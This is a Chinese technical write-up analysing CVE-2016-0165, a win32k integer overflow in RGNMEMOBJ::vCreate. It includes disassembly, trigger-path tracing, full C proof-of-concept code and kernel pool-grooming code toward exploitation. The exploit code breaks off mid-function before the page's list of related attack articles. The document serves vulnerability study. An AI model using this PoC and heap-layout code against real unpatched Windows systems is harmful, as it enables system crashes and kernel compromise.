CVE-2016-0165 Win32k漏洞分析笔记

CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出访问的 OOB 问题,严重情况将导致系统 BSOD 的发生。

配置漏洞触发环境

[+] win7 x86 sp1
[+] windbg preview 1.0.2001.02001

漏洞原理

定位漏洞

通过Bindiff可以看出,在RGNMEMOBJ::vCreate函数中,当调用ExAllocatePoolWithTag函数分配内存之前,增加了对ULongAdd函数和ULongLongToULong函数的调用。这两个函数在运算时如果发现运算数值超过了ULONG整数的范围就会返回ERROR_ARITHMETIC_OVERFLOW错误码,所以这两个函数通常用来防止发生整数溢出,在这里,这两个函数用来防止ExAllocatePoolWithTag函数的参数NumberOfBytes的整数溢出。

接着我们追踪一下这个参数NumberOfBytes到底是从哪里来,到哪里去,方便我们更加深入的了解这个漏洞。

.text:BF876200 ; ---------------------------------------------------------------------------
.text:BF876200
.text:BF876200 loc_BF876200:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A0↑j
.text:BF876200                 lea     eax, [ebp+NumberOfBytes]
.text:BF876203                 push    eax             ; unsigned int *
.text:BF876204                 xor     edi, edi
.text:BF876206                 inc     edi
.text:BF876207                 push    edi             ; unsigned int
.text:BF876208                 push    [ebp+NumberOfBytes] ; unsigned int
.text:BF87620B                 call    ?ULongAdd@@YGJKKPAK@Z ; [ebp+NumberOfBytes] = [ebp+NumberOfBytes] + 1
.text:BF876210                 test    eax, eax
.text:BF876212                 jl      loc_BF8763D2
.text:BF876218                 mov     eax, [ebp+NumberOfBytes] ; eax为被乘数
.text:BF87621B                 push    28h
.text:BF87621D                 pop     ecx             ; ecx为乘数
.text:BF87621E                 mul     ecx             ; mul reg32 的答案保存在edx:eax之中
.text:BF876220                 lea     ecx, [ebp+NumberOfBytes]
.text:BF876223                 push    ecx             ; unsigned int *
.text:BF876224                 push    edx
.text:BF876225                 push    eax             ; 结果保存在[ebp+NumberOfBytes]中
.text:BF876226                 call    _ULongLongToULong@12 ; ULongLongToULong(x,x,x)
.text:BF87622B                 test    eax, eax
.text:BF87622D                 jl      loc_BF8763D2
.text:BF876233                 cmp     [ebp+NumberOfBytes], 0
.text:BF876237                 jz      short loc_BF87624E
.text:BF876239                 push    67646547h       ; Tag
.text:BF87623E                 push    [ebp+NumberOfBytes] ; NumberOfBytes
.text:BF876241                 push    21h             ; PoolType
.text:BF876243                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
.text:BF876249                 mov     [ebp+P], eax
.text:BF87624C                 jmp     short loc_BF876252
.text:BF87624E ; ---------------------------------------------------------------------------

这段代码配合注释应该很容易看明白,参数NumberOfBytes在传入函数ExAllocatePoolWithTag之前,经历了如下的运算过程:

[ebp+NumberOfBytes] = ([ebp+NumberOfBytes] + 1) * 0x28

即函数ExAllocatePoolWithTag申请的内存大小为(x + 1) * 0x28,对x往前追溯可以发现x来自于函数ExAllocatePoolWithTag的第二个参数EPATHOBJ+4偏移地址的域

.text:BF87615C                 mov     esi, [ebp+arg_0]
(省略无关内容)
.text:BF876189                 mov     eax, [esi+4]
.text:BF87618C                 mov     [ebp+NumberOfBytes], eax

在MSDN可以找到PATHOBJ的结构

typedef struct _PATHOBJ {
  FLONG fl;
  ULONG cCurves;
} PATHOBJ;

+4偏移地址是被定义为ULONG cCurves的成员变量

cCurves

The number of lines and Bezier curves that make up the path.

该变量表示当前PATHOBJ对象的曲线数目。也就是说(曲线数目 + 1) * 0x28可以造成整数溢出,使得分配一个远小于目标大小的内存。这里可以看看未修补的素人版本,功能是一致的:

.text:BF873FEA ; ---------------------------------------------------------------------------
.text:BF873FEA
.text:BF873FEA loc_BF873FEA:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A2↑j
.text:BF873FEA                 lea     eax, [ecx+1]    ; ULONG cCurves
.text:BF873FED                 imul    eax, 28h
.text:BF873FF0                 test    eax, eax
.text:BF873FF2                 jz      short loc_BF87400A
.text:BF873FF4                 push    6E677247h       ; Tag
.text:BF873FF9                 push    eax             ; NumberOfBytes
.text:BF873FFA                 push    21h             ; PoolType
.text:BF873FFC                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
.text:BF874002                 mov     edx, [ebp+arg_8]
.text:BF874005                 mov     [ebp+P], eax
.text:BF874008                 jmp     short loc_BF87400E
.text:BF87400A ; ---------------------------------------------------------------------------

接着往后跟进,查看一下申请出来的这块内存会被如何使用

.text:BF8740D4 loc_BF8740D4:                           ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+18C↑j
.text:BF8740D4                 push    [ebp+arg_8]     ; struct _RECTL *
.text:BF8740D7                 mov     [eax+10h], esi
.text:BF8740DA                 mov     eax, [ebx]
.text:BF8740DC                 push    [ebp+P]         ; struct EDGE * ; [ebp+P]保存的就是ExAllocatePoolWithTag申请的内存
.text:BF8740DF                 mov     dword ptr [eax+30h], 48h
.text:BF8740E6                 mov     eax, [ebx]
.text:BF8740E8                 mov     [eax+18h], ecx
.text:BF8740EB                 mov     eax, [ebx]
.text:BF8740ED                 mov     [eax+14h], ecx
.text:BF8740F0                 mov     eax, [ebx]
.text:BF8740F2                 mov     [eax+34h], ecx
.text:BF8740F5                 mov     eax, [ebx]
.text:BF8740F7                 lea     ecx, [eax+48h]
.text:BF8740FA                 mov     [eax+1Ch], ecx
.text:BF8740FD                 mov     eax, [ebx]
.text:BF8740FF                 add     eax, 20h
.text:BF874102                 mov     [eax+4], eax
.text:BF874105                 mov     [eax], eax
.text:BF874107                 lea     eax, [ebp+var_68]
.text:BF87410A                 push    eax             ; struct EDGE *
.text:BF87410B                 push    [ebp+arg_0]     ; struct EPATHOBJ *
.text:BF87410E                 call    ?vConstructGET@@YGXAAVEPATHOBJ@@PAVEDGE@@1PAU_RECTL@@@Z ; vConstructGET(EPATHOBJ &,EDGE *,EDGE *,_RECTL *)

函数ExAllocatePoolWithTag申请的内存被当作函数vConstructGET的第三个参数,作为struct EDGE *类型的指针参数传入的。关于EDGE是什么东西,我们可以在windows的源码中找到

class EDGE
{
public:
    PEDGE pNext;
    LONG  lScansLeft;
    LONG  X;
    LONG  Y;
    LONG  lErrorTerm;
    LONG  lErrorAdjustUp;
    LONG  lErrorAdjustDown;
    LONG  lXWhole;
    LONG  lXDirection;
    LONG  lWindingDirection;
};

这个结构用来描述将要填充的路径中的单个非水平边。在我们的实验环境中,该结构的大小为40,即0x28。看看函数vConstructGET干了些什么。

VOID vConstructGET(EPATHOBJ& po, EDGE *pGETHead, EDGE *pFreeEdges,RECTL *pBound)
{
// Create an empty GET with the head node also a tail sentinel

    pGETHead->pNext = pGETHead; // mark that the GET is empty
    pGETHead->Y = 0x7FFFFFFF;   // this is greater than any valid Y value, so
                                //  searches will always terminate

    PPATH ppath = po.ppath;

    for (PATHRECORD *ppr = ppath->pprfirst;
         ppr != (PPATHREC) NULL;
         ppr = ppr->pprnext)
    {
    // If first point starts a subpath, remember it as such
    // and go on to the next point, so we can get an edge.

        PPOINTFIX pptfxStart, pptfxEnd, pptfxPrev, pptfx;

        pptfx = ppr->aptfx;

        if (ppr->flags & PD_BEGINSUBPATH)
        {
            pptfxStart = ppr->aptfx;        // the subpath starts here
            pptfxPrev = ppr->aptfx;         // this points starts next edge
            pptfx++;                        // advance to the next point
        }

   // Add edges in PATH to GET, in Y-X sorted order.

        pptfxEnd = ppr->aptfx + ppr->count;

        while (pptfx < pptfxEnd)
        {
            pFreeEdges =
                AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev,pptfx,pBound);
            pptfxPrev = pptfx;
            pptfx++;                        // advance to the next point
        }

     // If last point ends the subpath, insert the edge that
     // connects to first point.

        if (ppr->flags & PD_ENDSUBPATH)
        {
            pFreeEdges =
                AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev, pptfxStart,pBound);
        }
    }
}

函数ExAllocatePoolWithTag申请的内存pFreeEdges又一次被当作参数传入函数vConstructGET,函数vConstructGET循环调用函数AddEdgeToGET来将两个点描述的边加入到GET表中,并将数据写入pFreeEdges参数指向的EDGE结构体,最后将下一个EDGE元素地址作为返回值返回。

pFreeEdge->pNext = pGETHead->pNext; // link the edge into the GET
    pGETHead->pNext = pFreeEdge;

    return(++pFreeEdge);

由于函数ExAllocatePoolWithTag申请的内存大小发生了整数溢出,导致这块内存的大小远小于我们的预期,之后进行大量写入操作的时候,将会造成OOB覆盖其他内容,从而导致系统BSOD的触发。

触发路径

  • NtPathToRegion函数

win32k中的很多函数都会调用RGNMEMOBJ::vCreate函数,再从中选取一个可以控制申请内存大小的函数来抵达漏洞,这里我们选择NtPathToRegion函数:

DCOBJ::DCOBJ((DCOBJ *)&v9, a1);
  ......
  XEPATHOBJ::XEPATHOBJ((XEPATHOBJ *)&v7, (struct XDCOBJ *)&v9);
  if ( v8 )
  {
    v4 = *(_BYTE *)(*(_DWORD *)(v9 + 56) + 58);
    v11 = 0;
    RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
    if ( v10 )
    {
      v5 = HmgInsertObject(v10, 0, 4);
      if ( !v5 )
        RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
    }
    else
    {
      v5 = 0;
    }
    ......

该函数用于根据被选择在 DC 对象中的路径 PATH 对象创建区域 REGION 对象,生成的区域将使用设备坐标,唯一的参数 HDC a1 是指向某个设备上下文 DC 对象的句柄。由于区域的转换需要闭合的图形,所以在函数中执行转换之前,函数会将 PATH 中所有未闭合的图形闭合。在成功执行从路径到区域的转换操作之后,系统将释放目标 DC 对象中的闭合路径。另外该函数可在用户态进程中通过 gdi32.dll 中的导出函数在用户进程中进行直接调用,这给路径追踪带来便利。

XEPATHOBJ v7被作为第二个参数传递给RGNMEMOBJ::vCreate函数,XEPATHOBJ v7早已经在自身的XEPATHOBJ::XEPATHOBJ构造函数中依据用户对象DCOBJ v9进行初始化,而DCOBJ v9也早在DCOBJ::DCOBJ构造函数中依据NtPathToRegion函数的唯一参数HDC a1进行了初始化。

DCOBJ *__thiscall DCOBJ::DCOBJ(DCOBJ *this, HDC a2)
{
  DCOBJ *v2; // esi

  v2 = this;
  *(_DWORD *)this = 0;
  *((_DWORD *)this + 1) = 0;
  *((_DWORD *)this + 2) = 0;
  XDCOBJ::vLock(this, a2);
  return v2;
}

出乎意料,这个函数的构造其实很简单,根据句柄参数 HDC a2 获取该句柄指向的设备上下文 DC 对象指针并存储在 this 的第 1 个成员变量中(即 PDC pdc 成员),以使当前 DCOBJ 对象成为目标 DC 对象的用户对象。

  • XEPATHOBJ::XEPATHOBJ构造函数

    XEPATHOBJ::XEPATHOBJ(HPATH hPath)
    {
      ppath = (PPATH)HmgShareLock((HOBJ) hPath, PATH_TYPE);
    
      if (ppath != (PATH*) NULL)
      {
    
          // Load up accelerator values:
    
          cCurves = ppath->cCurves;
          fl      = ppath->fl;
      }
    
      return;
    }
    

此函数首先调用HmgShareLock函数并传入hPath句柄和PATH_TYPE类型对句柄指向的PATH对象增加共享计数并返回对象指针,以使当前 XEPATHOBJ 对象成为目标 PATH 对象的用户对象。之后对cCurves赋值,没错,就是前面那个导致了溢出的cCurves

至此,我们揪出了cCurves的来源,就是参数HDC a1句柄控制的,也就是说,我们只要控制了HDC a1句柄,就可以在 ExAllocatePoolWithTag 函数进行任意大小的的内存分配。

漏洞触发

  • PolylineTo 函数

虽然刚刚大言不惭的说了要控制HDC a1句柄,但也没那么简单,我们要考虑具体如何操作。这里我们使用PolylineTo 函数,该函数用于向 HDC hdc 句柄指向的 DC 对象中绘制一条或多条直线:

BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
  ......
  return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}
  • NtGdiPolyPolyDraw函数

PolylineTo 函数最终调用NtGdiPolyPolyDraw系统调用:

函数 NtGdiPolyPolyDraw 用于绘制一个或多个多边形、折线,也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等;其第 4 个参数 ccpt 用于在绘制一系列的多边形或折线时指定多边形或折线的个数,如果绘制的是线条(不管是直线还是贝塞尔曲线)该值都需要设置为 1;第 5 个参数 iFunc 用于指定绘制图形类型,设置为 4 表示绘制直线。

cpt = 0;
for ( i = 0; ; ++i )
{
    v13 = cpt;
    if ( i >= ccpt )
    break;
    cpt += *(Dst + i);
}
if ( cpt > 0x4E2000 )
    goto LABEL_56;

NtGdiPolyPolyDraw函数规定了调用时的线条总数目,不能大于 0x4E2000,否则直接返回失败。

switch ( iFunc )
          {
            case 1:
              v11 = GrePolyPolygon(hdc, v7, Dst, ccpt, cpt);
              break;
            case 2:
              v11 = GrePolyPolyline(hdc, v7, Dst, ccpt, cpt);
              break;
            case 3:
              v11 = GrePolyBezier(hdc, v7, ulCount);
              break;
            case 4:
              v11 = GrePolylineTo(hdc, v7, ulCount);
              break;
            case 5:
              v11 = GrePolyBezierTo(hdc, v7, ulCount);
              break;
            case 6:
              v11 = GreCreatePolyPolygonRgnInternal(v7, Dst, ccpt, hdc, cpt);
              break;
            default:
              v18 = 0;
              goto LABEL_47;

根据参数iFunc的值进入不同的绘制例程。在PolylineTo 函数中,iFunc的值为4,那么将会调用GrePolylineTo 函数,传入 GrePolylineTo 函数的第 3 个参数 ulCount 是稍早时赋值的本次需要绘制线条的数目,数值来源于从 PolylineTo 函数传入的 cpt 变量。

  • GrePolylineTo 函数
DCOBJ::DCOBJ(&v12, a1);
    ......
    EXFORMOBJ::vQuickInit(&v11, &v12, 0x204u);
    v8 = 1;
    PATHSTACKOBJ::PATHSTACKOBJ(&v13, &v12, 1);
    if ( !v14 )
    {
      EngSetLastError(8);
LABEL_12:
      PATHSTACKOBJ::~PATHSTACKOBJ(&v13);
      v6 = 0;
      goto LABEL_9;
    }
    if ( !EPATHOBJ::bPolyLineTo(&v13, &v11, a2, ulCount) )
      goto LABEL_12;
    v9 = EPATHOBJ::ptfxGetCurrent(&v13, &v10);
    DC::vCurrentPosition(v12, &a2[a3 - 1], v9);

GrePolylineTo 函数首先根据 HDC a1 参数初始化 DCOBJ v12 用户对象,接下来定义了 PATHSTACKOBJ v13 用户对象。函数中调用 PATHSTACKOBJ::PATHSTACKOBJ 构造函数对 v13 对象进行初始化,并在初始化成功后调用成员函数 EPATHOBJ::bPolyLineTo 执行绘制操作。

  • EPATHOBJ::bPolyLineTo 函数
int __thiscall EPATHOBJ::bPolyLineTo(EPATHOBJ *this, struct EXFORMOBJ *a2, struct _POINTL *a3, unsigned int ulCount)
{
  EPATHOBJ *v4; // esi
  int result; // eax
  int v6; // [esp+4h] [ebp-Ch]
  unsigned int v7; // [esp+8h] [ebp-8h]
  struct _POINTL *v8; // [esp+Ch] [ebp-4h]

  v4 = this;
  if ( !*(this + 2) )
    return 0;
  v6 = 0;
  v8 = a3;
  v7 = ulCount;
  result = EPATHOBJ::addpoints(this, a2, &v6);
  if ( result )
    *(v4 + 1) += ulCount;
  return result;
}

EPATHOBJ::bPolyLineTo 执行具体的从 DC 对象的当前位置点到指定点的画线操作,通过调用 EPATHOBJ::addpoints 执行将目标的点添加到路径中的具体操作。执行成功后,将参数 ulCount 的值增加到成员变量 cCurves 中。

现在我们知道控制PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)cpt变量就可以在 ExAllocatePoolWithTag 函数进行任意大小的的内存分配,但离完整的poc还有点距离,接着构造poc。

poc构造

因为是32位系统,所以ULONG的值最大为0xFFFFFFFF,而发生溢出时的参数为NumberOfBytes = 0x28 * (v6 + 1),所以我们需要构造0x28 * (v6 + 1)>0xFFFFFFFF来实现整数溢出,解不等式可得v6 > 0x‭6666665‬ 。但是cCurvesRGNMEMOBJ::vCreate 函数的开始位置调用的 EPATHOBJ::vCloseAllFigure 成员函数中会被修改,具体代码如下:

VOID EPATHOBJ::vCloseAllFigures()
{
    PPATHREC ppr = ppath->pprfirst;
    while (ppr != (PPATHREC) NULL)
    {
        if (ppr->flags & PD_ENDSUBPATH)
        {
            if (!(ppr->flags & PD_CLOSEFIGURE))
            {
                ppr->flags |= PD_CLOSEFIGURE;
                cCurves++;
            }
        }
        ppr = ppr->pprnext;
    }
}

此函数遍历PPATHREC列表,并将所有未处于闭合状态的记录项设置为闭合状态,即将末尾的坐标点和起始的坐标点进行连接,所以会使得cCurves的值增加1。也就是说,我们只要达成v6 > 0x‭6666664‬就可以造成整数溢出了。但是NtGdiPolyPolyDraw系统调用绘制的数量不能超过0x4E2000,否则就会直接返回失败,所以我们需要多次调用来达到溢出。完整代码如下:

#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

int main(int argc, char* argv[])
{
    BOOL ret = FALSE;
    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = i + 2;
    }
    HDC hdc = GetDC(NULL);  // get dc of desktop hwnd
    BeginPath(hdc);         // activate the path
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    EndPath(hdc);           // deactivate the path
    HRGN hRgn = PathToRegion(hdc);
    return 0;
}

虽然我们预想的很好,但是触发BSOD的几率非常低,因为覆盖后续内存的操作本身不会出错,错误其实是发生在后续释放或取内存的时候,而我们又不能保证后续内存存储的是什么东西,所以触发全靠运气,我在本地试了好多次都没有触发,不过可以借助Windbg来查看,确实是分配了一块0x18大小的内存。

漏洞利用

内核内存布局

虽然我们的poc触发成功率不高,但它确实破坏了后续堆块的POOL_HEADER结构,导致释放内存块时校验POOL_HEADER结构,从而触发BSOD。但如果我们提前进行堆布局,使得RGNMEMOBJ::vCreate函数分配的内存位于所在内存页的末尾,那么在释放的时候就不会对相邻内存块进行校验,这样虽然依旧进行了OOB,但并不会触发崩溃。

#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

CONST LONG maxTimes = 5000;
CONST LONG tmpTimes = 7000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL  hacctab[tmpTimes] = { NULL };

int main(int argc, char* argv[])
{

    for (LONG i = 0; i < 5000; i++)
    {
        hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
    }
    for (LONG i = 0; i < 7000; i++)
    {
        ACCEL acckey[0x0D] = { 0 };
        hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
    }
    for (LONG i = 2000; i < 4000; i++)
    {
        DestroyAcceleratorTable(hacctab[i]);
        hacctab[i] = NULL;
    }
    DebugBreak();
    BOOL ret = FALSE;
    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = i + 2;
    }
    HDC hdc = GetDC(NULL);  // get dc of desktop hwnd
    BeginPath(hdc);         // activate the path
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    EndPath(hdc);           // deactivate the path

    HRGN hRgn = PathToRegion(hdc);
    return 0;
}

因为0x18字节不方便占位,所以我们稍微提高画线数目为0x6666667,使得分配0x68大小的内存,加上0x8字节的POOL_HEADER就是0x70字节。我们先调用CreateBitmap 函数申请大量的0xF90 大小的内存块,以留下足够多的 0x70 字节间隙作为 RGNMEMOBJ::vCreate函数分配 0x70 字节内存块时的空间候选。但是因为SURFACE结构本身就要占用0x154字节,所以使用 CreateAcceleratorTable 函数。通过调用比 CreateBitmap 更多次数的 CreateAcceleratorTableA 函数创建 AcceleratorTable 内核对象以填充内存空隙、然后在其中制造空洞的方式,为使 RGNMEMOBJ::vCreate 分配的内存块能够命中我们安排的空洞提升更大的概率。随后通过 DestroyAcceleratorTable 函数释放掉中间一部分 AcceleratorTable 对象,为 RGNMEMOBJ::vCreate 函数留下足够多的机会。

现在,RGNMEMOBJ::vCreate 函数分配的内存块成功命中在我们安排的内存间隙中,其相邻的内存页也都符合我们先前构造的内存布局。

溢出覆盖内存块

因为创建的线条实在太多,会进行很大范围的内存访问,不利于后续操作,我们需要限制AddEdgeToGET 函数的访问范围。

if ( pClipRect )
  {
    if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom )
      return pFreeEdge;
    if ( iYStart < pClipRect->top )
    {
      bClip = 1;
      iYStart = pClipRect->top;
    }
    if ( iYEnd > pClipRect->bottom )
      iYEnd = pClipRect->bottom;
  }
  ipFreeEdge_Y = (iYStart + 15) >> 4;
  *((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y;
  *((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y;
  if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y <= 0 )
    return pFreeEdge;

函数中存在两处跳过当前边而直接返回的判断逻辑,返回时由于忽略当前边的数据,所以 pFreeEdge 指针不向后移。第二处返回逻辑的判断条件是:当前两点描述的边中,结束坐标点的 Y 轴坐标是否与起始坐标点的 Y 轴坐标相等;如果 Y 轴坐标相等,则忽略这条边,直接返回当前 pFreeEdge 指针指向的地址。此处的右移 4 比特位只是在还原之前在 EPATHOBJ::createrecEPATHOBJ::growlastrec 函数中存储坐标点时左移 4 比特位的数值。因此通过控制各坐标点的 Y 轴坐标值就可以控制从起始位置开始连续写入的 EDGE 个数。

sizlBitmap 位于 0xfe29d028 位置,域 pvScan0 位于 0xfe29d038 位置。两者的值都没有被复写成理想的值,但是注意到有几处地址的数据被修改成 0xFFFFFFFF 这样的特殊值。这样一来就不能使位图 SURFACE 对象直接作为内存页的起始位置,需要在 EDGE 缓冲区内存块和位图 SURFACE 对象内存块之间增加“垫片”,以使 0xFFFFFFFF 这样的特殊值能被覆盖到我们特别关注的域中。

垫片

这个垫片的作用其实就是把 EDGE 缓冲区内存块前面的f90内存块分成两个内存块,内存页起始位置我们申请一块内存来占位,大小合适的话就可以使切割出来的堆块的域 sizlBitmap 被修改成 0xFFFFFFFF 。我们先释放掉所有的f90内存块,然后分配一块较大但是又不超过f90的内存块,这里使用设置剪贴板的方式来分配用作垫片的缓冲区,在不调用函数 OpenCliboard 并清空剪贴板数据的前提下调用 SetClipboardData 函数会发生潜在的内存泄露,被分配的剪贴板数据对象在当前活跃会话生命周期内将会一直存在于分页会话池当中。但正因为这个特性,在后续通过漏洞溢出覆盖该对象的数据结构之后,不用担心在会在发生销毁对象时触发异常的问题,内存泄露的问题只能作为该验证代码的一个小缺憾。修改后的触发代码如下:

#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

CONST LONG maxTimes = 5000;
CONST LONG tmpTimes = 7000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL  hacctab[tmpTimes] = { NULL };

VOID
CreateClipboard(DWORD Size)
{
    PBYTE Buffer = (PBYTE)malloc(Size);
    FillMemory(Buffer, Size, 0x41);
    Buffer

本文来源于: https://xz.aliyun.com/t/9348

相关推荐

Jackson-databind漏洞两则分析

文章前言 本篇文章将对CVE-2020-36189(Jackson-databind SSRF&RCE)漏洞和CVE-2020-36186(jackson-databind RCE)漏洞进行浅析,同时将在文末给出两则新的Gadget !!!

Apache OFBiz RMI反序列化远程代码执行漏洞(CVE-2021-26295)

Author: 析安实验室(ZionLab) 漏洞分析 官网获取最新版本 https://ofbiz.apache.org/download.html 发现新版本对 .\framework\base\src\main\java\org\ap

fofa爬虫 + 源码泄露PoC之梦幻联动(有福利)

写在前面 相信大家一定对源码泄露并不陌生,这里也不赘述这个漏洞的原理和危害了,网上一搜也都有好多好多,看都看不完~~~ 那今天这里我们讲啥呢?那就直入主题吧~今天这里我就贴出我自己参考的加上自己写的fofa爬虫 + 源码泄露PoC之梦幻联动

PHP的无参数RCE

PHP无参数RCE 因为先前只是参照大佬的payload解题,从未自己本地复现过,索性借复习的机会,在本地搭建并尝试。 题目: GXYCTF2019—禁止套娃 [极客大挑战 2020]Roamphp4-Rceme 限制条件: /[^\W]+

记某CMS漏洞getshell

记极致CMS漏洞getshell 今天下午比较空闲,就去搜索一些cms,突然对极致CMS感兴趣,而网上已经有一些文章对它进行分析利用,sql注入,xss,后台修改上传后缀名前台getshell等等。 于是就引起了我的兴趣想去测试一下。 信息

记一次无意的渗透测试

由于最近再写一个web漏洞扫描器,准备在fofa上找网站测试的时候,无意间看到了个标题,xx系统, 点进去一看,好家伙,这不就是我很收悉的,那个xxcms嘛(具体的忘记了) 正好通过这个网站的cms漏洞,测试下我的扫描器,结果,好家伙,

ThinkPHP5.x RCE 复现

ThinkPHP5.x RCE 复现 其实去年开始是复现过这个漏洞的,但是总觉得并没有吃透,分析写得漏洞百出,于是再来审计一遍。 漏洞影响范围 5.x < 5.1.31 5.x < 5.0.23 复现环境 php7.3 thinkphp5.

FastAdmin前台文件上传

漏洞通告 FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。 2021年3月28日,360漏洞云漏洞研究员发现,FastAdmin框架存在有条件RCE漏洞,当攻击者具有一定用户权限的前提下,可以实现任意文件

draytek漏洞分析

分析复现一下几个draytek的漏洞 1.CVE-2020-8515 漏洞描述如下: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta,

ELK在渗透测试中的利用与安全配置解析

通过此文章,我将提供有关ELK在攻击利用与安全防护。关于利用ELK 的信息在网上非常罕见。因此,这篇文章只是本人在日常工作和学习中的个人笔记,虽不完善,但可作为学习参考。通过这篇文章希望能为你提供一些在渗透测试期间可能有用的方法。 背景 E

记一次简单的审计

前言 上次在逛先知的时候,无意间看到了L4zily师傅的这篇文章:https://xz.aliyun.com/t/9114 ,所以有了这篇,该版本为金微手机商城 V0.3.8版本 正题 我们直接去官方搭建的演示站,直接访问/admin.ph